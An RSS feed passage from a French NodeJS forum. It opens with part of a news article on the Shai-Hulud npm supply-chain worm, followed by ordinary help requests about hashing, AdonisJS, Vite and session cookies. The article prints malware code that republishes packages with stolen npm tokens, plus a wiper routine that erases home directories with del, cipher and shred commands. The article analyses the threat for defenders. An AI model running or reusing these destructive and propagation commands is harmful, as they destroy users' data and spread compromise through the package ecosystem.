  version<span class="br0">&#91;</span><span style="color: #cc66cc;">2</span><span class="br0">&#93;</span> = <span class="br0">&#40;</span>version<span class="br0">&#91;</span><span style="color: #cc66cc;">2</span><span class="br0">&#93;</span> || <span style="color: #cc66cc;">0</span><span class="br0">&#41;</span> + <span style="color: #cc66cc;">1</span>;
  packageJson.version = version.<span style="color: #0080ff;">join</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;.&quot;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Installateur de porte d&eacute;rob&eacute;e group&eacute;</span>
  <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">writeFile</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;setup_bun.js&quot;</span>, BACKDOOR_CODE<span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Reconditionne et publie</span>
  <span style="color: #0000ff;">await</span> Bun.<span style="color: #0000ff;">$</span><span style="color: #FF0000;">`npm publish <span style="color: #800000;">${modifiedPackage}</span>`</span>.<span style="color: #0080ff;">env</span><span class="br0">&#40;</span><span class="br0">&#123;</span>
    <span style="color: #800000;">NPM_CONFIG_TOKEN</span>: <span style="color: #0000ff;">this</span>.token
  <span class="br0">&#125;</span><span class="br0">&#41;</span>;
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
<b><font size="3">Le dispositif anti-sabotage</font></b><br />
<br />
L'analyse de GitLab a révélé la présence d'une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de suppression.<br />
<br />
Le logiciel malveillant surveille en permanence son accès à GitHub (pour l'exfiltration) et à npm (pour la propagation). Si un système infecté perd simultanément l'accès à ces deux canaux, il déclenche immédiatement la destruction des données sur la machine compromise. Sous Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, rendant leur récupération pratiquement impossible.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #808080;">// CRITIQUE : l'&eacute;chec de la validation du jeton d&eacute;clenche sa destruction.</span>
<span style="color: #0000ff;">async</span> <span style="color: #0000ff;">function</span> <span style="color: #0080ff;">aL0</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #0000ff;">let</span> githubApi = <span style="color: #0000ff;">new</span> <span style="color: #0080ff;">dq</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;
  <span style="color: #0000ff;">let</span> npmToken = process.env.NPM_TOKEN || <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">findNpmToken</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Essaye de trouver ou de cr&eacute;er un acc&egrave;s GitHub.</span>
  <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>!githubApi.<span style="color: #0080ff;">isAuthenticated</span><span class="br0">&#40;</span><span class="br0">&#41;</span> || !githubApi.<span style="color: #0080ff;">repoExists</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
    <span style="color: #0000ff;">let</span> fetchedToken = <span style="color: #0000ff;">await</span> githubApi.<span style="color: #0080ff;">fetchToken</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span style="color: #808080;">// Recherche des jetons dans les r&eacute;f&eacute;rentiels compromis</span>
&nbsp;
    <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>!fetchedToken<span class="br0">&#41;</span> <span class="br0">&#123;</span>  <span style="color: #808080;">// Acc&egrave;s GitHub impossible</span>
      <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>npmToken<span class="br0">&#41;</span> <span class="br0">&#123;</span>
        <span style="color: #808080;">// Revenir &agrave; la propagation NPM uniquement</span>
        <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">El</span><span class="br0">&#40;</span>npmToken<span class="br0">&#41;</span>;
      <span class="br0">&#125;</span> <span style="color: #0000ff;">else</span> <span class="br0">&#123;</span>
        <span style="color: #808080;">// D&Eacute;CLENCHEUR DE DESTRUCTION : Pas d'acc&egrave;s &agrave; GitHub ET pas d'acc&egrave;s &agrave; NPM</span>
        console.<span style="color: #0080ff;">log</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;Error 12&quot;</span><span class="br0">&#41;</span>;
        <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>platform === <span style="color: #FF0000;">&quot;windows&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
          <span style="color: #808080;">// Tentatives de suppression de tous les fichiers utilisateur et de r&eacute;&eacute;criture des secteurs du disque</span>
          Bun.<span style="color: #0080ff;">spawnSync</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span style="color: #FF0000;">&quot;cmd.exe&quot;</span>, <span style="color: #FF0000;">&quot;/c&quot;</span>, 
            <span style="color: #FF0000;">&quot;del /F /Q /S <span style="color: #800000;">\&quot;</span>%USERPROFILE%*<span style="color: #800000;">\&quot;</span> &amp;&amp; &quot;</span> +
            <span style="color: #FF0000;">&quot;for /d %%i in (<span style="color: #800000;">\&quot;</span>%USERPROFILE%*<span style="color: #800000;">\&quot;</span>) do rd /S /Q <span style="color: #800000;">\&quot;</span>%%i<span style="color: #800000;">\&quot;</span> &amp; &quot;</span> +
            <span style="color: #FF0000;">&quot;cipher /W:%USERPROFILE%&quot;</span>  <span style="color: #808080;">// Remplace les donn&eacute;es supprim&eacute;es</span>
          <span class="br0">&#93;</span><span class="br0">&#41;</span>;
        <span class="br0">&#125;</span> <span style="color: #0000ff;">else</span> <span class="br0">&#123;</span>
          <span style="color: #808080;">// Tentatives de destruction de tous les fichiers modifiables dans le r&eacute;pertoire personnel</span>
          Bun.<span style="color: #0080ff;">spawnSync</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span style="color: #FF0000;">&quot;bash&quot;</span>, <span style="color: #FF0000;">&quot;-c&quot;</span>, 
            <span style="color: #FF0000;">&quot;find <span style="color: #800000;">\&quot;</span>$HOME<span style="color: #800000;">\&quot;</span> -type f -writable -user <span style="color: #800000;">\&quot;</span>$(id -un)<span style="color: #800000;">\&quot;</span> -print0 | &quot;</span> +
            <span style="color: #FF0000;">&quot;xargs -0 -r shred -uvz -n 1 &amp;&amp; &quot;</span> +  <span style="color: #808080;">// Overwrite and delete</span>
            <span style="color: #FF0000;">&quot;find <span style="color: #800000;">\&quot;</span>$HOME<span style="color: #800000;">\&quot;</span> -depth -type d -empty -delete&quot;</span>  <span style="color: #808080;">// Supprime les r&eacute;pertoires vides</span>
          <span class="br0">&#93;</span><span class="br0">&#41;</span>;
        <span class="br0">&#125;</span>
        process.<span style="color: #0080ff;">exit</span><span class="br0">&#40;</span><span style="color: #cc66cc;">0</span><span class="br0">&#41;</span>;
      <span class="br0">&#125;</span>
    <span class="br0">&#125;</span>
  <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
<br />
Sources : <a rel="nofollow" href="https://helixguard.ai/blog/malicious-sha1hulud-2025-11-24" target="_blank">HelixGuard</a>, <a rel="nofollow" href="https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/" target="_blank">GitLab</a><br />
<br />
<b>Et vous ?</b><br />
<br />
:fleche: Faut-il repenser le modèle de confiance autour des mainteneurs npm, notamment pour ceux gérant des centaines de paquets ?<br />
<br />
:fleche: Le concept de « ver npm » doit-il être intégré comme nouvelle catégorie de menace dans les outils de détection et d’analyse statique ?<br />
<br />
:fleche: Les scanners de dépendances actuels sont-ils réellement capables de détecter une attaque aussi obfusquée et dynamique que Shai-Hulud ?<br />
<br />
:fleche: Faut-il imposer une signature obligatoire des paquets npm, ou cela créerait-il un risque de centralisation ?<br />
<br />
:fleche: Dans quelle mesure les workflows GitHub Actions doivent-ils être considérés comme une surface d’attaque active à part entière ?</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Images attachées</legend>
				<div style="padding:10px">
				<img class="attach" src="https://www.developpez.net/forums/attachments/p672073d1764074079/javascript/nodejs/retour-shai-hulud-revele-fragilite-l-ecosysteme-javascript/chaine.png/" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>Stéphane le calme</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2180628/javascript/nodejs/retour-shai-hulud-revele-fragilite-l-ecosysteme-javascript/</guid>
		</item>
		<item>
			<title>Compréhension fonction Hash md5</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2180359&amp;goto=newpost</link>
			<pubDate>Sat, 08 Nov 2025 17:49:53 GMT</pubDate>
			<description>je ne suis pas dev JS  (je...</description>
			<content:encoded><![CDATA[<div>je ne suis pas dev JS  (je connais d'autres langages, donc j'arrive à comprendre le JS dans les très grandes lignes)<br />
je cherche à comprendre comment fonctionne un code que j'ai sur un programme :<br />
<br />
<br />
j'ai un code qui appelle la méthode objectHash  <br />
comme elle est &quot;assez grosse&quot;, voici le lien où on peut la trouver<br />
<a rel="nofollow" href="https://github.com/puleos/object-hash/blob/master/index.js" target="_blank">https://github.com/puleos/object-has...aster/index.js</a><br />
<br />
<br />
en entrée :<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="26"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #0000ff;">var</span> object_in = <span class="br0">&#123;</span><span style="color: #800000;">texte</span>:<span style="color: #FF0000;">&quot;Mon texte.&quot;</span>,<span style="color: #800000;">ident</span>:<span style="color: #FF0000;">&quot;action01&quot;</span><span class="br0">&#125;</span>;
<span style="color: #0000ff;">var</span> options = <span class="br0">&#123;</span><span style="color: #800000;">algorithm</span>:<span style="color: #FF0000;">&quot;md5&quot;</span><span class="br0">&#125;</span>;
<span style="color: #0000ff;">var</span> res = objectHash <span class="br0">&#40;</span>object_in, options<span class="br0">&#41;</span>;</pre></td></tr></table></code><hr />
</div><br />
j'obtiens res = db584c40868c7265aef607e3788acf16<br />
<br />
d'après ce que je comprends, le code fait un hash md5 de quelque chose (en utilisant object_in)<br />
mais là en entrée, on a une liste de propriétés et non un string<br />
<br />
=&gt; comment trouver quel est le texte qui est haché ?<br />
<br />
merci</div>

]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>Xelland</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2180359/javascript/nodejs/comprehension-fonction-hash-md5/</guid>
		</item>
		<item>
			<title>Initialiser un projet avec AdonisJS</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2179644&amp;goto=newpost</link>
			<pubDate>Fri, 03 Oct 2025 12:13:18 GMT</pubDate>
			<description>Bonjour à tous, 
 
je...</description>
			<content:encoded><![CDATA[<div>Bonjour à tous,<br />
<br />
je n'arrive pas à initialiser un projet avec AdonisJS<br />
<br />
nodejs : 24.9.0<br />
npm : 11.6.1<br />
windows : 11<br />
<br />
je lance npm avec :<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br /></div></td><td valign="top"><pre style="margin: 0">&nbsp;
<span style="color: #800000;">C</span>:\nodejs&gt;npm init adonisjs@latest accueil -- --kit=web --db=sqlite --auth-guard=session
&nbsp;
&gt; npx
&gt; create-adonisjs accueil --kit=web --db=sqlite --auth-guard=session
&nbsp;
&nbsp;
     _       _             _         _ ____
    / \   __| | ___  _ __ <span class="br0">&#40;</span>_<span class="br0">&#41;</span>___    | / ___|
   / _ \ / _<span style="color: #FF0000;">` |/ _ <span style="color: #800000;">\|</span> '_ <span style="color: #800000;">\|</span> / __|_  | <span style="color: #800000;">\_</span>__ <span style="color: #800000;">\</span></span>
<span style="color: #FF0000;">  / ___ <span style="color: #800000;">\ </span>(_| | (_) | | | | <span style="color: #800000;">\_</span>_ <span style="color: #800000;">\ </span>|_| |___) |</span>
<span style="color: #FF0000;"> /_/   <span style="color: #800000;">\_</span><span style="color: #800000;">\_</span>_,_|<span style="color: #800000;">\_</span>__/|_| |_|_|___/<span style="color: #800000;">\_</span>__/|____/</span>
&nbsp;
&nbsp;
<span style="color: #FF0000;">&gt; Download starter kit (35 ms)</span>
<span style="color: #FF0000;">  Failed to download https://api.github.com/repos/adonisjs/web-starter-kit/tarball/main: TypeError: fetch failed</span>
<span style="color: #FF0000;">&gt; Install packages</span>
<span style="color: #FF0000;">&gt; Prepare application</span>
<span style="color: #FF0000;">&gt; Configure Lucid</span>
<span style="color: #FF0000;">&gt; Configure Auth</span></pre></td></tr></table></code><hr />
</div>j'ai testé sans option, j'arrive à choisir les options puis ça donne le même résultat.<br />
Pouvez vous me donner une piste de résolution ?<br />
<br />
Merci</div>

]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>YogSothoth94</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2179644/javascript/nodejs/initialiser-projet-adonisjs/</guid>
		</item>
		<item>
			<title>Échec Connexion au serveur</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2178518&amp;goto=newpost</link>
			<pubDate>Sat, 09 Aug 2025 11:55:25 GMT</pubDate>
			<description>Bonjour à tous... 
Je...</description>
			<content:encoded><![CDATA[<div>Bonjour à tous...<br />
Je rencontre un problème au niveau du serveur cpanel. Le premier journal avant que rien ne s'affiche était l'absence du module dotenv. Or j'ai utilisé l'installation node.js sur cpanel pour installer les composantes manquantes ( run npm). Et malgré ça l'erreur persistait. J'ai donc testé avec le terminal du serveur, la connexion à la base de données ne se plantait pas. Mais la connexion avec la page login donne toujours le même message d'erreur lié au serveur( erreur de connexion au serveur.<br />
Failed to load ressource: the server responded with a status of 404). J'ai redémarré l'application plusieurs fois mais rien. Le plus gros problème est que le journal n'affiche plus rien pour qu'on sache le problème vu j'ai apporté d'autres modifications.<br />
<br />
Résumé :<br />
L'application fonctionne parfaitement lorsque je la lance manuellement via le terminal <br />
 * Les logs de cPanel restent vides, ce qui indique que l'application ne démarre pas du tout via l' interface</div>

]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator><![CDATA[Mr l'Ashanti]]></dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2178518/javascript/nodejs/echec-connexion-serveur/</guid>
		</item>
		<item>
			<title><![CDATA[Est-ce qu'on peut minify ou unminify a fichier]]></title>
			<link>https://www.developpez.net/forums/showthread.php?t=2178203&amp;goto=newpost</link>
			<pubDate>Tue, 22 Jul 2025 21:14:18 GMT</pubDate>
			<description><![CDATA[Bonjour, 
 
J'ai un fichier...]]></description>
			<content:encoded><![CDATA[<div>Bonjour,<br />
<br />
J'ai un fichier avec un large contenu qui se trouve que sur une ligne.<br />
Je pense qu'il est minifié<br />
<br />
Est-ce qu'avec nodejs, il y aurait une commande pour en faire un autre fichier mais sous un format lisible par un humain?<br />
<br />
J'aimerais aussi faire une structure comme celle-la qui contient la librairie <a rel="nofollow" href="https://leafletjs.com/download.html" target="_blank">leaflet</a><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Citation:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			css/leaftlet/leaflet.css<br />
js/leaflet/leaflet.min.js<br />
map.html
			
		<hr />
	</div>
</div>Map.html affichera donc une carte et j'aimerais faire l'inervse. Est-ce qu'avec nidejs, je peux sélectionner map.html, les dossiers css et js et tous leurs contenu, et avoir tout dans map.min.html (ou mapmin.html)?<br />
<br />
J'ai cru comprendre que Sublime 3, utilise nodejs pour le faire, donc je me demandais s'il y avait une commane pour faire un minify et un unminify<br />
<br />
Merci</div>

]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>pierrot10</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2178203/javascript/nodejs/qu-on-minify-unminify-fichier/</guid>
		</item>
		<item>
			<title>Lancement de VIte</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2177408&amp;goto=newpost</link>
			<pubDate>Mon, 09 Jun 2025 12:16:01 GMT</pubDate>
			<description><![CDATA[Bonjour 
 
 
J'installe vite...]]></description>
			<content:encoded><![CDATA[<div>Bonjour<br />
<br />
<br />
J'installe vite en lancant la commande <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">npm run dev</code><hr />
</div><br />
et espère avoir <br />
<br />
 &quot;Vite vxxx ready in 90ms<br />
<br />
 Local http://localhost:5173&quot;<br />
<br />
mais je n'ai rien <br />
<br />
 <img src="https://www.developpez.net/forums/attachments/p667963d1749471318/javascript/nodejs/lancement/run.jpg/" border="0" alt="Nom : run.jpg
Affichages : 232
Taille : 349,6 Ko"  style="float: CONFIG" /><br />
<br />
Pourrais-je avoir des explications SVP ?<br />
<br />
Merci.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Images attachées</legend>
				<div style="padding:10px">
				<img class="attach" src="https://www.developpez.net/forums/attachments/p667963d1749471318/javascript/nodejs/lancement/run.jpg/" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>labarre2002</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2177408/javascript/nodejs/lancement/</guid>
		</item>
		<item>
			<title>Déconnexion globale</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2177188&amp;goto=newpost</link>
			<pubDate>Wed, 28 May 2025 10:33:12 GMT</pubDate>
			<description>Bonjour, 
 
Je construis des...</description>
			<content:encoded><![CDATA[<div>Bonjour,<br />
<br />
Je construis des applications qui demandent un système d'authentification. Cette authentification s'effectue bien sur côté serveur via une API dédiée, avec des endpoints login, me, et logout.<br />
<br />
Le problème que je rencontre est le suivant : la connexion à mon application 1 se passe normalement avec le passage d'un cookie httponly, la connexion à mon application 2 se passe normalement, même process. La déconnexion de l'application 2 entraine la déconnexion de l'application 1 et inversement. Je pense que le cookie n'est pas assez discriminant, il possède un nom trop générique, du coup si j'utilise le même navigateur, il se passe ce que je décris plus haut.<br />
<br />
Merci pour votre aide,<br />
<br />
Sylvain<br />
<br />
Je partage mon code :<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br /></div></td><td valign="top"><pre style="margin: 0">    <span style="color: #0000ff;">static</span> <span style="color: #0000ff;">async</span> <span style="color: #0080ff;">login</span><span class="br0">&#40;</span>req, res<span class="br0">&#41;</span> <span class="br0">&#123;</span>
        <span style="color: #0000ff;">const</span> userAgent = req.headers<span class="br0">&#91;</span><span style="color: #FF0000;">'user-agent'</span><span class="br0">&#93;</span> || <span style="color: #FF0000;">''</span>;
        <span style="color: #0000ff;">const</span> ipAddress = req.ip || req.connection.remoteAddress || <span style="color: #FF0000;">'inconnue'</span>;
        <span style="color: #0000ff;">const</span> <span class="br0">&#123;</span> identifiant, <span style="color: #0080ff;">password</span> <span class="br0">&#125;</span> = req.body;
&nbsp;
        <span style="color: #0000ff;">const</span> loginSchema = Joi.<span style="color: #0080ff;">object</span><span class="br0">&#40;</span><span class="br0">&#123;</span>
            <span style="color: #800000;">identifiant</span>: Joi.<span style="color: #0080ff;">string</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">trim</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">required</span><span class="br0">&#40;</span><span class="br0">&#41;</span>,
            <span style="color: #800000;">password</span>: Joi.<span style="color: #0080ff;">string</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">required</span><span class="br0">&#40;</span><span class="br0">&#41;</span>
        <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
        <span style="color: #808080;">// Validation Joi</span>
        <span style="color: #0000ff;">const</span> <span class="br0">&#123;</span> error <span class="br0">&#125;</span> = loginSchema.<span style="color: #0080ff;">validate</span><span class="br0">&#40;</span><span class="br0">&#123;</span> identifiant, <span style="color: #0080ff;">password</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
        <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>error<span class="br0">&#41;</span> <span class="br0">&#123;</span>
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">400</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;Identifiant ou mot de passe manquant&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
        <span class="br0">&#125;</span>
&nbsp;
        <span style="color: #0000ff;">try</span> <span class="br0">&#123;</span>
            <span style="color: #808080;">// 1. R&eacute;cup&eacute;ration de l'utilisateur</span>
            <span style="color: #0000ff;">const</span> query = <span style="color: #FF0000;">`</span>
<span style="color: #FF0000;">            SELECT </span>
<span style="color: #FF0000;">                c.id_contributeur,</span>
<span style="color: #FF0000;">                c.nom_contributeur,</span>
<span style="color: #FF0000;">                c.identifiant,</span>
<span style="color: #FF0000;">                c.email,</span>
<span style="color: #FF0000;">                c.password,</span>
<span style="color: #FF0000;">                c.id_role</span>
<span style="color: #FF0000;">            FROM api_projet.contributeur c</span>
<span style="color: #FF0000;">            WHERE c.identifiant = $1</span>
<span style="color: #FF0000;">            `</span>;
&nbsp;
            <span style="color: #0000ff;">const</span> result = <span style="color: #0000ff;">await</span> pool.<span style="color: #0080ff;">query</span><span class="br0">&#40;</span>query, <span class="br0">&#91;</span>identifiant<span class="br0">&#93;</span><span class="br0">&#41;</span>;
            <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>result.rowCount === <span style="color: #cc66cc;">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">401</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;Identifiant ou mot de passe incorrect&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
            <span class="br0">&#125;</span>
&nbsp;
            <span style="color: #0000ff;">const</span> utilisateur = result.rows<span class="br0">&#91;</span><span style="color: #cc66cc;">0</span><span class="br0">&#93;</span>;
&nbsp;
            <span style="color: #808080;">// 2. V&eacute;rification du mot de passe</span>
            <span style="color: #0000ff;">const</span> passwordValid = <span style="color: #0000ff;">await</span> bcrypt.<span style="color: #0080ff;">compare</span><span class="br0">&#40;</span><span style="color: #0080ff;">password</span>, utilisateur.<span style="color: #0080ff;">password</span><span class="br0">&#41;</span>;
            <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>!passwordValid<span class="br0">&#41;</span> <span class="br0">&#123;</span>
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">401</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;Identifiant ou mot de passe incorrect&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
            <span class="br0">&#125;</span>
&nbsp;
            <span style="color: #808080;">// 3. V&eacute;rification de session existante pour ce user-agent</span>
            <span style="color: #0000ff;">const</span> sessionCheck = <span style="color: #0000ff;">await</span> pool.<span style="color: #0080ff;">query</span><span class="br0">&#40;</span>
            <span style="color: #FF0000;">`SELECT id_session FROM api_projet.sessions</span>
<span style="color: #FF0000;">            WHERE id_contributeur = $1 AND user_agent = $2`</span>,
            <span class="br0">&#91;</span>utilisateur.id_contributeur, userAgent<span class="br0">&#93;</span>
            <span class="br0">&#41;</span>;
&nbsp;
            <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>sessionCheck.rowCount &gt; <span style="color: #cc66cc;">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">200</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;D&eacute;j&agrave; connect&eacute; sur ce navigateur.&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
            <span class="br0">&#125;</span>
&nbsp;
            <span style="color: #808080;">// 4. Cr&eacute;ation de la session</span>
            <span style="color: #0000ff;">const</span> sessionId = <span style="color: #0080ff;">crypto</span>.<span style="color: #0080ff;">randomUUID</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;
&nbsp;
            <span style="color: #0000ff;">await</span> pool.<span style="color: #0080ff;">query</span><span class="br0">&#40;</span>
            <span style="color: #FF0000;">`INSERT INTO api_projet.sessions (id_session, id_contributeur, ip_address, user_agent, expires_at)</span>
<span style="color: #FF0000;">            VALUES ($1, $2, $3, $4, NOW() + interval '7 days')`</span>,
            <span class="br0">&#91;</span>sessionId, utilisateur.id_contributeur, ipAddress, userAgent<span class="br0">&#93;</span>
            <span class="br0">&#41;</span>;
&nbsp;
            <span style="color: #808080;">// 5. Cookie sp&eacute;cifique (&eacute;vite collisions si plusieurs comptes connect&eacute;s)</span>
           <span style="color: #0000ff;">const</span> cookieName = <span style="color: #FF0000;">`session_id_<span style="color: #800000;">${utilisateur.id_contributeur}</span>`</span>;
&nbsp;
            res.<span style="color: #0080ff;">cookie</span><span class="br0">&#40;</span>cookieName, sessionId, <span class="br0">&#123;</span>
            <span style="color: #800000;">httpOnly</span>: <span style="color: #339933;">true</span>,
            <span style="color: #800000;">secure</span>: <span style="color: #339933;">true</span>,
            <span style="color: #800000;">sameSite</span>: <span style="color: #FF0000;">&quot;none&quot;</span>,
            <span style="color: #800000;">maxAge</span>: <span style="color: #cc66cc;">3</span> * <span style="color: #cc66cc;">60</span> * <span style="color: #cc66cc;">60</span> * <span style="color: #cc66cc;">1000</span>, <span style="color: #808080;">// 3 heures</span>
            <span style="color: #800000;">path</span>: <span style="color: #FF0000;">&quot;/&quot;</span>
            <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">200</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;Connexion r&eacute;ussie&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
        <span class="br0">&#125;</span> <span style="color: #0000ff;">catch</span> <span class="br0">&#40;</span>err<span class="br0">&#41;</span> <span class="br0">&#123;</span>
            console.<span style="color: #0080ff;">error</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;Erreur login :&quot;</span>, err<span class="br0">&#41;</span>;
            <span style="color: #0000ff;">return</span> res.<span style="color: #0080ff;">status</span><span class="br0">&#40;</span><span style="color: #cc66cc;">500</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">json</span><span class="br0">&#40;</span><span class="br0">&#123;</span> <span style="color: #800000;">message</span>: <span style="color: #FF0000;">&quot;Erreur serveur lors de la connexion&quot;</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
        <span class="br0">&#125;</span>
    <span class="br0">&#125;</span>;</pre></td></tr></table></code><hr />
</div></div>
